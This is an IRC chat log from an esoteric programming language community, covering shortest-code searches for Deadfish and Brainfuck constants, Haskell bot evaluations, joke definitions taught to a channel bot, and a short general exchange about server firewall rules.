i don't see why not, you have plenty of room to the right. 13:13:36 -!- Froox has quit (Ping timeout: 244 seconds). 13:14:12 mauris_: i expect you can do better by using - more. 13:14:25 and who knows what madness you can get out of [] 13:15:19 + followed by >, > followed by + or -, - followed by >. 13:15:22 er 13:15:44 * + followed by > or +, > followed by >, + or -, - followed by > or -. 13:16:17 fizzie: Yes, that's why you need to skip to the right 13:16:38 one or more cells 13:16:47 not all constants seem to terminate on the right-most cell they use 13:17:09 of course you are limited to no more than 128 + or - in a row, with 8 bit cells 13:17:40 but i don't think this affects the overall much 13:18:00 hm 13:18:25 you can think of that as +/-, >+ and >- 13:18:41 oh wait hm 13:19:04 nah that just makes it more complicated 13:19:32 hmm... what is the very best you could possibly do? there are 2^(8N) possible texts of length N and 8 possible instructions per byte of code so you take the log8 of that and get (8/3)*N 13:19:47 [[1,1,0],[1,1,1], [0,1,1]] is the transition matrix, i think it's basically the norm of that. 13:20:10 -!- Froox has joined. 13:20:16 mauris_: there are several pairs of instructions that cancel each other, so you cannot quite get that 13:20:23 right 13:21:24 i meant, the very worst you can't do, or something 13:22:08 -!- Frooxius has quit (Ping timeout: 265 seconds). 13:23:36 > let m (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate m (1,0,0) !! 1000 in map (logBase 2) [p,r,m] 13:23:38 Conflicting definitions for ‘m’ 13:23:38 Bound at: :1:5 13:23:38 :1:39 13:23:46 oops 13:23:55 > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! 1000 in map (logBase 2) [p,r,m] 13:23:57 [Infinity,Infinity,Infinity] 13:24:01 nice 13:24:14 -!- lleu has quit (Quit: That's what she said). 13:24:14 > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n; m = 100 in map (logBase 2) [p,r,m] / n 13:24:15 Conflicting definitions for ‘m’ 13:24:16 Bound at: :1:41 13:24:16 :1:72 13:24:27 > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n; n = 100 in map (logBase 2) [p,r,m] / n 13:24:29 No instance for (Show b0) 13:24:29 arising from a use of ‘show_M226665793838954151314277’ 13:24:29 The type variable ‘b0’ is ambiguous 13:24:33 wtf 13:24:58 > let mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n; n = 100 in map ((/fromIntegral n) . logBase 2) [p,r,m] 13:25:00 [1.2515533031636121,1.2565533031636122,1.2515533031636121] 13:25:05 there you go. 13:25:34 so about 1.25 bits per character +,> or - 13:28:26 > let n = 500; mat (p,r,m) = (p+r,p+r+m,r+m); (p,r,m) = iterate mat (1,0,0) !! n in map ((/fromIntegral n) . logBase 2) [p,r,m] 13:28:28 [1.2675533031636121,1.2685533031636118,1.2675533031636121] 13:28:47 `? d-module 13:28:59 D-modules are just modules over the ring of differential operators. Taneb invented them. 13:29:09 `? module 13:29:10 module? ¯\(°​_o)/¯ 13:30:10 -!- Frooxius has joined. 13:30:52 (actually learning about modules RIGHT NOW) 13:31:00 `algebraic number theory 13:31:01 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: algebraic: not found 13:31:04 `? algebraic number theory 13:31:05 algebraic number theory? ¯\(°​_o)/¯ 13:31:48 -!- Froox has quit (Ping timeout: 265 seconds). 13:34:51 `learn A module is like a vector space, except with a ring instead of a field. 13:34:54 Learned 'module': A module is like a vector space, except with a ring instead of a field. 13:35:19 `? ring 13:35:20 Addition, subtraction and multiplication have a certain ring to them. 13:35:21 `? vector space 13:35:22 vector space? ¯\(°​_o)/¯ 13:35:30 `? differential operators 13:35:31 differential operators? ¯\(°​_o)/¯ 13:35:36 Same, HackEgo. Same. 13:36:06 `? lie algebra 13:36:07 lie algebra? ¯\(°​_o)/¯ 13:36:08 `? lie-algebra 13:36:09 lie-algebra? ¯\(°​_o)/¯ 13:36:09 `le/rn vector space/A vector space is just a module over a field. 13:36:12 `? lie-group 13:36:13 Learned «vector space» 13:36:13 lie-group? ¯\(°​_o)/¯ 13:36:15 `? lie group 13:36:16 lie group? ¯\(°​_o)/¯ 13:36:49 `? Haar measure 13:36:50 Haar measure? ¯\(°​_o)/¯ 13:37:23 `le/rn Haar measure/A Haar measure is what Dutch people use to find out how long their hair is. 13:37:25 Learned «haar measure» 13:38:22 Or how long 'she' is. 13:38:37 Well, 'hers'. 13:38:40 `le/rn algebraic number theory/Algebraic number theory was invented by Fermat to prove his theorem, but he didn't have room to write it down. 13:38:42 Learned «algebraic number theory» 13:39:22 Algebraic Number Theory is either Algebraic Number Theory or Algebraic Number Theory, or possibly both. 13:39:28 One of my seminar leaders told me so 13:41:05 Taneb: i think it's mostly the former hth 13:41:14 That's what he said too 13:42:04 Could it be neither? 13:42:09 -!- AnotherTest has joined. 13:42:13 No 13:42:30 Phew. 13:42:38 `? category 13:42:39 A category is an enriched category where the enriching category is the category of classes. 13:42:41 `? bicategory 13:42:42 Bicategories are just categories where composition is only associative up to an isomorphism. 13:42:42 -!- mauris_ has quit (Ping timeout: 255 seconds). 13:42:42 (the two were actually different) 13:42:54 HackEgo: is that true? 13:43:11 `? tricategory 13:43:12 tricategory? ¯\(°​_o)/¯ 13:43:18 `? cocategory 13:43:19 cocategory? ¯\(°​_o)/¯ 13:43:21 `? comorphism 13:43:21 comorphism? ¯\(°​_o)/¯ 13:43:25 `? bimorphism 13:43:25 bimorphism? ¯\(°​_o)/¯ 13:44:11 ?. 13:44:11 Not enough arguments to @. 13:44:25 '? . 13:45:18 `le/rn lie algebra/A Lie algebra is what you get if you take the region infinitesimally close to the identity of a Lie group and blow it up to normal size. 13:45:22 `? infinitesimal generator 13:45:23 Learned «lie algebra» 13:45:24 infinitesimal generator? ¯\(°​_o)/¯ 13:46:20 `? lie bracket 13:46:21 lie bracket? ¯\(°​_o)/¯ 13:46:45 `? homotopy group 13:46:46 homotopy group? ¯\(°​_o)/¯ 13:46:54 `? compact 13:46:55 compact? ¯\(°​_o)/¯ 13:46:57 `? complex 13:46:58 complex? ¯\(°​_o)/¯ 13:47:02 `? manifold 13:47:03 manifold? ¯\(°​_o)/¯ 13:47:04 `? variety 13:47:05 variety? ¯\(°​_o)/¯ 13:47:06 `? fungot 13:47:06 b_jonas: jsr vector ;alter system bus. only through ex- perimentation on your commodore music synthesizer inside your commodore 64, but not where you wish to have any keys been typed as spaces were inserted. 13:47:08 fungot is our beloved channel mascot and voice of reason. 13:49:46 fungot, who is HackEgo? 13:49:46 GoToTell: 10 print"type 2 numbers" or variables. begin by asking the user program must jmp ( 300) points to the lower 8 bits wide. on cassette, anywhere from 1-25. depending on whether the resulting number only of identical bits in the 13:50:22 `? varifold 13:50:23 varifold? ¯\(°​_o)/¯ 13:50:25 `? maniety 13:50:26 maniety? ¯\(°​_o)/¯ 13:50:31 `coins 13:50:40 `? vla 13:51:00 vla? ¯\(°​_o)/¯ 13:51:05 ​singcoin norfulcoin guycoin totcoin bf-rlecoin undexcoin bubcoin piazecoin spearcoin rdinatiocoin grulieathmanicacoin vercoin bincoin ///coin antumcoin (())coin methacoin networkcoin arcemcoin udvcoin 13:52:06 `le/rn lie bracket/Politicians try to stay within the lie bracket: Not so many lies that voters cannot stand it, but not so few that they think you have nothing to give them. 13:52:09 Learned «lie bracket» 13:52:52 `? ub 13:52:53 ub is a saner hub. 13:53:01 wat. 13:53:55 `welcome ub 13:53:56 ub: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 13:54:03 `culprits wisdom/ub 13:54:04 `elcome ub 13:54:05 b: elcome o he nternational ub or soteric rogramming anguage esign nd eployment! or ore nformation, heck ut ur iki: . (or he ther ind f soterica, ry #soteric n Fnet r ALnet.) 13:54:06 oerjan elliott ais523 ais523 boily 13:54:14 still wat. 13:54:28 heck ut ur iki 13:55:50 fungot: what would an insane hub be? 13:55:50 int-e: there are comparison instructions, and is located in bits 2 to a variable name must appear where shown in appendix e gives you more flexibility and your program would list the token, to allow the program below uses this space is printed in the 13:56:29 int-e: hhub 13:56:37 ooh boolean google doodle 13:57:39 right, this is going to use my CPU all day, isn't it 13:58:23 and it's not even javascript... must be CSS3 transitions. 14:01:29 Hm, is there more to it than the animated gif at https://www.google.co.uk/logos/doodles/2015/george-booles-200th-birthday-5636122663190528.2-hp.gif ? 14:02:21 hm. 14:02:32 my program has found 213 optimal deadfish constants :D 14:05:29 -!- adu has joined. 14:05:39 fizzie: oh old-school... 14:06:57 oh, maybe it's just that. 14:07:07 mroman: fancy 14:07:52 for deadfish, that seems solvable in general. 14:08:20 i think we may have discussed it at one point. 14:10:14 there's never any point in incrementing or decrementing so many times that you could reach more than half-way to the next square, because then it's better to go there before squaring. 14:10:41 (except possibly around 256) 14:13:58 -!- `^_^ has joined. 14:14:02 -!- `^_^ has changed nick to `^_^v. 14:14:31 -!- doesthiswork has joined. 14:16:53 -!- J_Arcane has joined. 14:17:01 -!- adu has quit (Quit: adu). 14:21:30 -!- Froox has joined. 14:23:31 -!- Frooxius has quit (Ping timeout: 265 seconds). 14:33:01 -!- GoToTell has quit (Quit: HydraIRC -> http://www.hydrairc.com <- Po-ta-to, boil em, mash em, stick em in a stew.). 14:43:34 I'm hoping to find the next missing constants within this workday :) 14:45:58 The longest so far is iissdddsdddddddddo 14:46:05 (length 18, number 160) 14:54:00 but I doubt that I'll find them this way 14:54:17 nearest square to 250 is for example 15*15 14:54:26 which is 25 away from 250 14:54:29 so 14:54:39 there need to be at least 25 increments 14:55:14 iiiisds(i)*25 is most likely the shortest one to produce 250. 14:55:32 you can't overshoot 255 14:55:39 because d checks for 256 14:55:54 (i.e. if something is 256 it gets reset to zero) 14:56:04 so overshooting 255 and doing decrements is not possible 14:56:19 the only way is to try to get to the nearest square 14:58:59 mroman: i suspect the shortest constant is always the most obvious candidate 15:00:06 and only around 256 is that not simply the closest one 15:00:14 *closest square 15:00:22 hm 15:00:46 i _suppose_ it could be two candidates, when the distance is close to equal 15:01:19 > sqrt 160 15:01:21 12.649110640673518 15:01:53 > (160 - 12^2, 13^2 - 160) 15:01:54 (16,9) 15:03:21 oh and of course the shortest ways of getting two that are one apart cannot differ by more than 1 15:03:39 so there's no need to consider 12 there 15:03:57 > (4^2 - 13, 13 - 3^2) 15:03:59 (3,4) 15:04:10 _that_ looks close enough to be dubious 15:04:43 except, only enough to get two equal candidates 15:04:58 so we only need 4 15:05:27 isssdddsddddddddd 15:05:41 which is the same you found 15:05:52 oerjan: 1^2 is 2 now? 15:06:01 oops 15:06:09 *iisssdddsddddddddd 15:06:19 oops 15:06:27 *iissdddsddddddddd 15:06:57 now going by 3 instead 15:07:21 iiisiiiisddddddddd is slightly longer 15:07:50 oh hm 15:08:00 consecutive squares are even and odd 15:08:10 so there's _never_ an exact midpoint. 15:08:52 which means you always go to the closest one. there _might_ be a different one that ties, but never a better one. 15:09:45 oh. again, exceptions near 256^2, possibly. 15:10:39 well, that's just because 256^2 is excluded. 15:11:10 > (255^2 + 257^2)/2 15:11:12 65537.0 15:11:43 and you cannot cross over, hm 15:11:58 i guess this requires looking at what the actual lengths of 255 and 257 are. 15:12:19 > 255 - 15^2 15:12:21 30 15:12:37 > (17^2 - 257) 15:12:38 32 15:13:18 15 and 17 are so close to 16 they're obviously iissd and iissi respectively 15:13:49 so 257 is two longer than 255. 15:15:46 which means 65537 should go via 255^2, 65538 doesn't matter which way. 15:16:12 and the rest go to the closest one. 15:18:14 * oerjan suddenly wonders if he just destroyed mroman's fun 15:23:23 oerjan: http://codepad.org/Q1I5Cz2y 15:24:04 mroman: 3 should be iii 15:24:09 yeah 15:24:12 there's some bug :( 15:25:02 hm maybe it's because 1^2 is i rather than is, so the basic rules breaks for 3 15:25:08 *-s 15:26:42 because 1^2 and 2^2 have more than 1 difference in length 15:28:01 -!- edwardk_ has joined. 15:30:33 -!- mroman_ has joined. 15:30:54 oh 15:30:54 dc 15:30:54 -!- erdic_ has joined. 15:31:04 -!- nycs has joined. 15:31:07 http://codepad.org/ttmTweG5 <- if that didn't come through 15:31:37 You need at most 36 chars to reach any df number 0-255 15:32:54 oerjan: I've bruteforced 213 of them for comparison. 15:33:03 this is such a brutal way of installing gentoo: http://pastebin.com/raw.php?i=yKL5wc3W (the link appears in http://www.twitch.tv/twitchinstallsarchlinux/v/23578745 "Twitch installs Arch Linux") 15:33:12 but the whole set was generated by using the fact that there's no better way than to get to the closest square 15:33:22 and then use recursion 15:33:47 255 -> closest square 225 -> 15 -> closest square 16 -> 4 -> 2 15:33:48 ah, inc/dec/squaring... this is rather tame. 15:34:58 mroman_: yeah. as i predicted, there are some possible ties. 15:35:18 -!- `^_^v has quit (*.net *.split). 15:35:18 -!- mroman has quit (*.net *.split). 15:35:19 -!- mbrcknl has quit (*.net *.split). 15:35:19 -!- glowcoil has quit (*.net *.split). 15:35:19 -!- edwardk has quit (*.net *.split). 15:35:19 -!- sewilton has quit (*.net *.split). 15:35:19 -!- cnr has quit (*.net *.split). 15:35:19 -!- izabera has quit (*.net *.split). 15:35:20 -!- erdic has quit (*.net *.split). 15:35:20 -!- Jafet has quit (*.net *.split). 15:35:20 -!- zemhill has quit (*.net *.split). 15:35:25 -!- erdic_ has changed nick to erdic. 15:36:00 -!- izabera has joined. 15:36:00 -!- izabera has quit (Changing host). 15:36:00 -!- izabera has joined. 15:37:45 oerjan: right, iisiii and iiisdd both produce 7 15:38:29 -!- Jafet has joined. 15:38:47 -!- password2 has quit (Ping timeout: 244 seconds). 15:38:57 -!- JesseH has joined. 15:39:22 -!- edwardk_ has changed nick to edwardk. 15:39:23 and above 255, and remembering that 256 and 256^2 are not useful squares, only 65537 needs care to pick the lower one. 15:39:41 i think. 15:39:50 -!- doesthiswork has quit (Quit: Leaving.). 15:40:18 Shall I put it under Deadfish/Constants? 15:40:24 why not 15:40:25 Deadfish is already a large article :) 15:40:36 mabye we should create Deadfish/Implementations someday :D 15:41:12 i'm afraid that would somewhat discourage new ones 15:41:38 assuming people find the Deadfish page, see all the implementations, and decide to make one 15:42:14 [wiki] [[Deadfish/Constants]] N http://esolangs.org/w/index.php?oldid=45059 * Mroman * (+5334) + list of df constants 15:42:52 hm 15:43:13 [wiki] [[Deadfish]] http://esolangs.org/w/index.php?diff=45060&oldid=44740 * Mroman * (+83) /* See also */ link to deadfish/constants 15:44:33 -!- glowcoil has joined. 15:45:44 You didn't destroy my fun. I was busy writing the generator :D 15:45:47 mroman_: we could say that there are a finite list of numbers for which the best strategy is _not_ going to closest square, and recursing. 15:45:57 yeah 15:45:59 1..3 15:46:05 well 15:46:09 technically only 3? 15:46:16 1 and 3 maybe 15:46:25 Fun... so except for 3 and 4, consecutive deadfish numbers have different parity. 15:46:28 well 1 is a square 15:46:31 so 15:46:40 yes, but you don't want to recurse :P 15:46:43 oh 15:46:45 yeah :) 15:47:19 > ((15^2 + 16^2)/2, (16^2 + 17^2)/2) 15:47:21 (240.5,272.5) 15:47:40 241 to 272, because you cannot use 256. 15:48:24 > ((255^2 + 256^2)/2, (256^2 + 257^2)/2) 15:48:25 (65280.5,65792.5) 15:48:41 and 65281 to 65792. 15:48:49 > (15 * 15, 17 * 17) 15:48:51 (225,289) 15:48:58 [wiki] [[Deadfish/Constants]] http://esolangs.org/w/index.php?diff=45061&oldid=45059 * Mroman * (+198) + added remark about numbers 0..3 15:49:13 You can sometimes take a shortcut by starting with a d to get 255, I think? 15:49:21 Taneb: no. 15:49:24 -1 becomes 0 15:49:43 Oh 15:50:00 -!- sewilton has joined. 15:50:05 256 and -1 become 0 15:50:05 > (225 + 289) / 2 15:50:07 257.0 15:50:12 -!- conehead has joined. 15:50:12 -!- conehead has quit (Changing host). 15:50:12 -!- conehead has joined. 15:55:00 -!- GoToTell has joined. 15:59:34 [wiki] [[Deadfish/Constants]] http://esolangs.org/w/index.php?diff=45062&oldid=45061 * Oerjan * (+379) Larger numbers, and some clarification 16:07:23 -!- mbrcknl has joined. 16:08:10 what's missing is "shortest way to reach 0 again" :D 16:08:35 but since it's not a true module 16:08:46 *modulo 16:08:57 there's no wrap around from squaring 17 16:09:05 > (17*17) `mod` 256 16:09:06 33 16:09:13 hm 16:09:18 > (33*33) `mod` 256 16:09:20 65 16:09:25 > (65*65) `mod` 256 16:09:27 129 16:09:32 > (129*129) `mod` 256 16:09:33 1 16:09:35 so 16:09:35 You've discovered a pattern! 16:09:37 ! 16:09:44 true 16:09:51 if it would wrap 16:09:59 17ssssd would be 0 16:10:05 instead of doing 17 decrements 16:10:26 fizzie: well now we know the order of 17 in Zmod256 16:10:39 which is 4 16:10:41 apparentely 16:11:03 Surely that would be from 17^n, not repeated squaring? 16:11:05 but it's funny that it results in (2^n)+1 16:11:12 fizzie: probably 16:11:27 my discrete math times are way behind me 16:12:18 let's call it square order 16:12:23 the square order of 17 in Zmod256 is 4 16:12:26 :D 16:12:35 (I have no idea if there already is a name for that) 16:12:44 fixpoint? 16:12:48 what was a fixpoint again 16:12:57 f(x)=f(x)? 16:13:06 no wait... that's always the case 16:13:27 f(x)=x 16:13:48 @type until 16:13:49 (a -> Bool) -> (a -> a) -> a -> a 16:14:28 > until (\_->True) id () 16:14:30 () 16:14:31 > until ((1==).`mod`256) (*) $ 17 16:14:32 :1:14: parse error on input ‘`’ 16:14:39 > until ((1==).(`mod`256)) (*) $ 17 16:14:41 Occurs check: cannot construct the infinite type: a ~ a -> a 16:14:41 Expected type: (a -> a) -> a -> a 16:14:41 Actual type: a -> a -> a 16:14:49 damn 16:15:01 > until (\c -> c `mod` 256 == 1) (\a -> a*a) $ 17 16:15:05 48661191875666868481 16:15:15 > until ((1==).(`mod`256)) (join (*)) 17 16:15:17 48661191875666868481 16:15:28 WELL 16:15:30 WELL 16:15:41 > logBase 17 48661191875666868481 16:15:43 16.0 16:15:50 hm 16:15:58 > logBase (17*17) 48661191875666868481 16:16:00 8.0 16:16:12 jesus I suck at math 16:18:21 -!- AnotherTest has quit (Ping timeout: 252 seconds). 16:18:55 You can motivate that it must be 2^n+1 from them bits, given that Z/256Z is them low bits. You start from 10001, and because the high bits don't fit, that squared is (10000+1)*(10000+1) = 10000*1 + 1*10000 + 1*1 = 100001, and then you do the same again to lengthen the worm. 16:20:22 you need at most 10 squarings 16:20:24 to reach 1 16:20:29 except for even numbers 16:20:31 which never reach 1 16:21:06 the euler totient function of 256 is 128 = 2^7. 16:21:29 so you in fact need at most 7. 16:21:54 if it's even you'd need to square it at max three times to reach zero 16:22:15 so ideally if it's odd you decrement it, then do the squaring 16:22:16 that's faster 16:22:52 or increment, one of them might be faster. 16:23:10 (the one which is divisible by 4) 16:23:57 hm 16:23:58 or! 16:24:02 hm 16:24:59 as for deadfish itself, i think we've shown that if we're between 17 and 255 we want to go to either 16 by decrementing or 256 by incrementing. squaring always loses. 16:25:18 > 17^2 - 256 16:25:20 33 16:25:40 and if we're above 256 there's nothing to do but decrement. 16:26:54 > 5^2 - 16 16:26:56 9 16:27:06 > 256 - 15^2 16:27:08 31 16:27:25 it's pretty clear we don't want to square between 5 and 15, either. 16:28:29 1: d, 2: dd, 3: ddd or iss, 4:ss 16:29:42 5:dss 16:30:13 so we want to reach eiterh 0,4,16 or 256 by decrementing. 16:30:16 *either 16:30:20 -!- `^_^ has joined. 16:30:29 *or incrementing 16:30:55 yes 16:31:08 > (256-16 / 2) 16:31:10 248.0 16:31:16 what 16:31:21 > (256-16) / 2 16:31:23 120.0 16:31:30 -!- nycs has quit (Ping timeout: 240 seconds). 16:31:35 so worst case you need like uhm 120 instructions to reach zero 16:32:01 121. 16:32:20 if it's 136 you do 120 increments 16:32:46 if it's 135 you can do 119 decrements but you still have to square twice 16:32:53 if it's 135 you do 119 increments 16:32:54 to get 16 16:32:57 and then square once 16:33:01 oh once 16:33:01 *decrements 16:33:09 16 only needs a square once 16:33:13 OKAY 16:34:02 So at worst you need 157*N instructions to produce any text with Deadfish 16:37:59 hm this would be a graph distance problem 16:39:16 -!- AnotherTest has joined. 16:43:09 Yay domain antirestriction 16:45:03 -!- mauris_ has joined. 16:45:51 hmm, how about this, sssssisssssd 16:46:07 or, actually, sssssdsssss 16:46:11 -!- jaboja has quit (Read error: Connection reset by peer). 16:46:25 (is relying on 32 bit ints okay?) 16:46:28 Do you like my kind of idea of a kind of package manager, some things it involves are: Packages are represented as RDF nodes, and the goal of the package manager is: The set of installed packages should be the minimal but best set of packages that meet dependency requirements and includes the system root package. 16:46:47 Still on the RDF-fetish streak? 16:47:31 and actually, since phi(2^k) = 2^(k-1), sssssd should be enough... 16:48:24 hmm, no... 16:48:53 mroman_: Doesn't answer my question. It does not have to be RDF, but this kind of directed graph seem a good way to represent these kind of data, so that is what it can be. 16:49:33 ah, that would be sssssssssssssssssssssssssssssssd.... so not worth it. 16:51:31 however, if you know the starting number, one of sssss or dsssss will always work. 16:52:16 sssss, issss or dssss, i think 16:52:19 or one of sssss, dssss, issss 16:52:25 ha 16:52:28 ... stop following my thoughts, it's creepy. 16:52:40 it's been a while since last time, hasn't it 16:52:55 true. 16:53:08 -!- atrapado has joined. 16:53:15 besides, i already mentioned choosing between i and d to get divisibility by 4 above 16:53:54 I'm not aware of having seen that... but the subconscious is a devious beast. 16:54:08 spoooky 17:04:00 -!- drdanmaku has joined. 17:05:07 -!- drdanmaku has quit (Client Quit). 17:10:07 -!- bb010g has quit (Quit: Connection closed for inactivity). 17:16:43 `? RDF 17:16:45 RDF is something zzo38 knows about. 17:16:50 Richard Dean Flanderson? 17:16:59 Rich Document Format 17:17:14 `culprit RDF 17:17:15 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: culprit: not found 17:17:43 `run find ./ | grep culprit 17:17:53 ​./bin/culprits-c \ ./bin/culprits \ ./.hg/store/data/bin/culprits.i \ ./.hg/store/data/bin/culprits-c.i \ ./.hg/store/data/wisdom/culprit.i \ ./wisdom/culprit 17:17:57 `culprits rdf 17:18:01 No output. 17:18:02 `culprits wisdom/rdf 17:18:04 oren 17:18:20 RDF is a kind of directed-graphs 17:18:41 I roughly know what it is. 17:18:46 I just have never seen it being used. 17:19:58 I have seen a few FOAF and others, and I also have this: http://zzo38computer.org/my_foaf.ttl 17:20:15 (I also wrote a SQLite extension that can be used to parse this file) 17:20:47 Is that a time-to-live file? 17:21:10 ah. Turtle 17:23:34 `danddreclist 70 17:23:36 danddreclist 70: shachaf nooodl boily \ http://zzo38computer.org/dnd/recording/level20.tex 17:26:49 int-e: Oh... btw. Does your vServer have firewall rules? 17:27:34 In case I want to experiment with Esopreter :) 17:29:48 (http://esosc.mroman.ch/ESOSC-2015-D8.TXT would require outbound http(s) connections) 17:29:49 there are no such rules atm... but in principle, there's iptables support. 17:30:15 Wait... you have ACCEPT * policies o_O? 17:31:03 usually the only outbound connections I'd allow are the ones that connect to ssh/http ports and have state established 17:31:06 I have not configured a package filter. 17:31:19 -!- oerjan has quit (Quit: OKAY *). 17:31:33 because otherwise somebody could easily open a remote shell/remotely download stuff once he finds an exploitable vulnerability somewhere 17:31:39 given the running services, there doesn't seem to be any point to it. 17:32:52 really. there's ssh and http which I want to be remotely accessible, and there's an SMTP server that only listens locally. That's it. 17:33:09 Yeah, but what if somebody exploits the webserver somehow 17:33:55 anywho... 17:33:59 Do you have unlimited traffic? 17:34:32 (Not that I intend to use much traffic.) 17:34:54 But the general idea of esopreter is to have hosts that provide some languages and a central host that uses these hosts 17:35:05 i.e. a golfing site for esoteric programming languages 17:35:21 then if somebody creates a new language he can host it himself somewhere and you just need to add the URL to the central host 17:35:24 and it'll work 17:35:26 -!- zzo38 has quit (Remote host closed the connection). 17:35:49 assuming that language hosts are honest people and don't cheat by just sending the output for the most recent golf challenge or something like that 17:38:17 it says 500G monthly transfer, not sure what happens afterwards 17:39:04 usually you'll pay per gig that exceeds the limit 17:39:13 but you said this was a one time pay 17:39:14 so :D 17:39:24 I have no idea. 17:39:38 but nvm. that's stage 2 anyway 17:39:51 stage 1 is to provide a website with javascript that makes the requests 17:40:08 so it run's through the visitor's browser 17:40:46 stage 2 would be to actually build a golfing site :) 17:41:07 (in which case the server would need to do the request to verify the outputs of the program against the expected output) 17:41:40 unless we use a public/private key infrastructure :D 17:41:55 then the esopreter hosts could sign the output with a private key 17:42:23 and the user submits the signature to the golfing site which then verifies it using the hosts private key 17:50:33 ok, they say they'll bill me $0.01 per GB if I go over 500GB... at 100MBit that's firmly in the acceptable risk category for me. 17:51:07 Well I doubt burlesque.cgi will generate more than 500GB :D 17:51:47 but if it does feel free to stop it :) 17:52:01 -!- mroman_ has quit (Quit: gotta go). 17:54:45 Oh I was considering the case that somebody hacks the server and manages to use all the bandwidth. That'll be about $10 a day, so it bears watching out for but won't impover me on the spot. 17:55:57 impoverish 17:56:15 I like languages with regular grammars. Unfortunately, English is not one of those. 18:03:01 regular is a hard constraint 18:05:15 oerjan: look at this shiny code for 0 -> 255: +++^-^^^++^^^- 18:10:23 (where + = i, - = d, ^ = s) 18:13:03 iiisdsssiissd 18:13:14 what does that mean D: 18:13:32 we were discussion deadfish 18:13:36 *discussing 18:15:02 it's related to http://esolangs.org/wiki/Deadfish/Constants 18:15:38 also my program is wrong... the 256 that is produced there shouldn't survive. 18:43:00 ugh I hope that wasp eater isn't going to suffocate on that waffle. 18:50:25 -!- ^v has joined. 19:20:19 -!- lleu has joined. 19:24:50 -!- aretecode has joined. 19:26:57 -!- Phantom_Hoover has joined. 19:29:24 -!- mihow has joined. 19:30:16 "Esoteric programming languages, a form of mathematical recreation in which programmers work out how to achieve basic programming constructs in an extremely difficult but mathematically Turing-equivalent language." 19:30:37 That's how we would define Esoteric Programming, right? 19:31:39 tc isn't a requirement 19:32:56 also i wouldn't put that much focus on the math aspect 19:36:51 -!- zzo38 has joined. 19:38:25 [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45063&oldid=45036 * Bexandre * (+193) 19:38:51 [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45064&oldid=45063 * Bexandre * (+55) 19:39:22 I'd go with "Esoteric programming languages is a form of mathematical recreation in which people create or modify programming languages" 19:39:36 if you start getting into purpose, you inevitably exclude something 19:39:39 [wiki] [[User:Bexandre/SpeedPL]] http://esolangs.org/w/index.php?diff=45065&oldid=45064 * Bexandre * (+55) /* Syntax */ 19:39:49 even saying "programming languages" might even be misleading 19:40:32 "Esoteric programming languages is a form of mathematical recreation in which people do stuff, usually involving computers" 19:40:44 nailed it 19:41:17 -!- mauris has joined. 19:41:33 These cable box are not very good, they are forced to use their on-screen-display and cannot use MIDI. 19:41:39 Stuff like "Clue". Esoteric, but probably not programmable. 19:44:27 -!- mauris_ has quit (Ping timeout: 265 seconds). 20:10:33 -!- Patashu has joined. 20:26:26 I would think domain-specific would be better way implementing Magic: the Gathering card and also other similar card game which can include Pokemon card and others too. :spell-ability [:do [:draw 3; :who [:target :player]]; :display "Target player draws 3 cards."] 20:28:33 `` date 20:28:34 Mon Nov 2 20:28:09 UTC 2015 20:30:33 -!- zzo38 has quit (Remote host closed the connection). 20:33:09 what kind of syntax is that? it's not s-expressions, not smalltalk-like, not C-like, not logo-like 20:36:33 Woah woah woah it's almost Tanebiversary 20:36:41 what is that 20:36:45 My birthday 20:36:56 In 3 and a half hours 20:37:59 a very merry unbirthday for now 20:42:25 -!- Patashu has quit (Ping timeout: 240 seconds). 21:06:35 just how many more black-white zombie soldiers does this game need 21:06:46 wasn't that one in Invasion enough? 21:07:08 what next, will they be printing flying merfolk elves again? 21:09:23 -!- atrapado has quit (Quit: Leaving). 21:17:22 -!- hppavilion[1] has joined. 21:22:12 -!- hppavilion[2] has joined. 21:23:03 -!- hppavilion[1] has quit (Ping timeout: 265 seconds). 21:23:38 -!- JesseH has quit (Read error: Connection reset by peer). 21:32:26 -!- JesseH has joined. 21:36:36 -!- Mallow has joined. 21:36:39 hola! 22:08:53 -!- sebbu has quit (Ping timeout: 252 seconds). 22:12:22 -!- JesseH has quit (Ping timeout: 246 seconds). 22:13:42 -!- `^_^ has quit (Quit: This computer has gone to sleep). 22:19:25 -!- AnotherTest has quit (Ping timeout: 240 seconds). 22:20:44 -!- Mallow has quit (Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/). 22:20:51 [wiki] [[Special:Log/move]] move * Bexandre * moved [[User:Bexandre/SpeedPL]] to [[User:Bexandre/Attic]] 22:21:32 [wiki] [[User:Bexandre]] http://esolangs.org/w/index.php?diff=45068&oldid=45006 * Bexandre * (-4) 22:24:26 -!- hppavilion[2] has quit (Ping timeout: 265 seconds). 22:27:50 -!- AnotherTest has joined. 22:29:32 -!- hppavilion[2] has joined. 22:32:39 -!- AnotherTest has quit (Client Quit). 22:36:26 -!- adu has joined. 22:39:23 -!- oerjan has joined. 22:51:30 -!- hppavilion[2] has quit (Ping timeout: 265 seconds). 22:55:42 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 23:01:40 -!- Phantom_Hoover has joined. 23:04:58 -!- boily has joined. 23:06:13 -!- hppavilion[2] has joined. 23:12:09 -!- JesseH has joined. 23:14:24 -!- Wright has joined. 23:20:05 -!- atehwa has quit (Ping timeout: 240 seconds). 23:21:12 -!- atehwa has joined. 23:28:56 -!- zzo38 has joined. 23:32:35 -!- hppavilion[2] has quit (Ping timeout: 265 seconds). 23:40:19 -!- mauris has quit (Ping timeout: 265 seconds). 23:44:52 -!- lleu has quit (Read error: Connection reset by peer). 23:52:54 -!- boily has quit (Quit: HOMERUN CHICKEN). 23:53:53 -!- hppavilion[2] has joined. 2015-11-03: 00:09:48 -!- sebbu has joined. 00:11:36 -!- adu has quit (Quit: adu). 00:27:16 -!- oerjan has quit (Quit: leaving). 